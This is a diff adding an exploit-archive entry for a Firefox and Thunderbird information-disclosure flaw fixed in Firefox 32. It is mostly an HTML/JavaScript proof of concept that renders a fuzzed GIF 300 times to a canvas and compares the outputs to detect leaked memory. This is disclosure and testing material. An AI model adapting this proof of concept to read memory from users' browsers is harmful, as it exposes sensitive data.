|
| 1 | +source: http://www.securityfocus.com/bid/69525/info |
| 2 | + |
| 3 | +Mozilla Firefox and Thunderbird are prone to an information-disclosure vulnerability. |
| 4 | + |
| 5 | +Attackers can exploit this issue to disclose sensitive information that may aid in further attacks. |
| 6 | + |
| 7 | +This issue is fixed in: |
| 8 | + |
| 9 | +Firefox 32 |
| 10 | +Firefox ESR 31.1 |
| 11 | +Thunderbird 31.1 |
| 12 | + |
| 13 | +<style> |
| 14 | +body { |
| 15 | + background-color: #d0d0d0; |
| 16 | +} |
| 17 | + |
| 18 | +img { |
| 19 | + border: 1px solid teal; |
| 20 | + margin: 1ex; |
| 21 | +} |
| 22 | + |
| 23 | +canvas { |
| 24 | + border: 1px solid crimson; |
| 25 | + margin: 1ex; |
| 26 | +} |
| 27 | +</style> |
| 28 | + |
| 29 | +<body onload="set_images()"> |
| 30 | + |
| 31 | +<div id="status"> |
| 32 | +</div> |
| 33 | + |
| 34 | +<div id="image_div"> |
| 35 | +</div> |
| 36 | + |
| 37 | +<canvas height=32 width=32 id=cvs> |
| 38 | +</canvas> |
| 39 | + |
| 40 | +<h2>Variants:</h2> |
| 41 | + |
| 42 | +<ul id="output"> |
| 43 | +</ul> |
| 44 | + |
| 45 | +<script> |
| 46 | +var c = document.getElementById('cvs'); |
| 47 | +var ctx = c.getContext('2d'); |
| 48 | + |
| 49 | +var loaded = 0; |
| 50 | +var image_obj = []; |
| 51 | +var USE_IMAGES = 300; |
| 52 | + |
| 53 | +function check_results() { |
| 54 | + |
| 55 | + var uniques = []; |
| 56 | + |
| 57 | + uniques.push(image_obj[0].imgdata); |
| 58 | + |
| 59 | + document.getElementById('output').innerHTML += |
| 60 | + '<img src="' + image_obj[0].imgdata + '">'; |
| 61 | + |
| 62 | + for (var i = 1; i < USE_IMAGES; i++) { |
| 63 | + |
| 64 | + if (image_obj[0].imgdata != image_obj[i].imgdata) { |
| 65 | + |
| 66 | + for (var j = 1; j < uniques.length; j++) |
| 67 | + if (uniques[j] == image_obj[i].imgdata) break; |
| 68 | + |
| 69 | + if (j == uniques.length) { |
| 70 | + |
| 71 | + uniques.push(image_obj[i].imgdata); |
| 72 | + |
| 73 | + document.getElementById('output').innerHTML += |
| 74 | + '<img src="' + image_obj[i].imgdata + '">'; |
| 75 | + |
| 76 | + |
| 77 | + } |
| 78 | + |
| 79 | + |
| 80 | + } |
| 81 | + |
| 82 | + } |
| 83 | + |
| 84 | + if (uniques.length > 1) |
| 85 | + alert('The image has ' + uniques.length + ' variants when rendered. Looks like you have a problem.'); |
| 86 | + else |
| 87 | + alert('The image has just one variant when rendered. You\'re probably OK.'); |
| 88 | + |
| 89 | +} |
| 90 | + |
| 91 | + |
| 92 | +function count_image() { |
| 93 | + |
| 94 | + loaded++; |
| 95 | + |
| 96 | + ctx.clearRect(0, 0, 32, 32); |
| 97 | + |
| 98 | + try { |
| 99 | + ctx.drawImage(this, 0, 0, 32, 32); |
| 100 | + } catch (e) { } |
| 101 | + |
| 102 | + this.imgdata = c.toDataURL(); |
| 103 | + |
| 104 | + if (loaded == USE_IMAGES) check_results(); |
| 105 | + |
| 106 | +} |
| 107 | + |
| 108 | + |
| 109 | +function set_images() { |
| 110 | + |
| 111 | + loaded = 0; |
| 112 | + create_images(); |
| 113 | + |
| 114 | + for (var i = 0; i < USE_IMAGES; i++) |
| 115 | + image_obj[i].src = './id:000110,src:000023.gif?' + Math.random(); |
| 116 | + |
| 117 | +} |
| 118 | + |
| 119 | + |
| 120 | +function create_images() { |
| 121 | + |
| 122 | + for (var i = 0; i < USE_IMAGES; i++) { |
| 123 | + |
| 124 | + image_obj[i] = new Image(); |
| 125 | + image_obj[i].height = 32; |
| 126 | + image_obj[i].width = 32; |
| 127 | + image_obj[i].onerror = count_image; |
| 128 | + image_obj[i].onload = count_image; |
| 129 | + |
| 130 | + document.getElementById('image_div').appendChild(image_obj[i]); |
| 131 | + |
| 132 | + } |
| 133 | + |
| 134 | +} |
| 135 | + |
| 136 | + |
| 137 | +</script> |
| 138 | + |
| 139 | + |
| 140 | +<iframe src='http://www.example.com/'></iframe> |
0 commit comments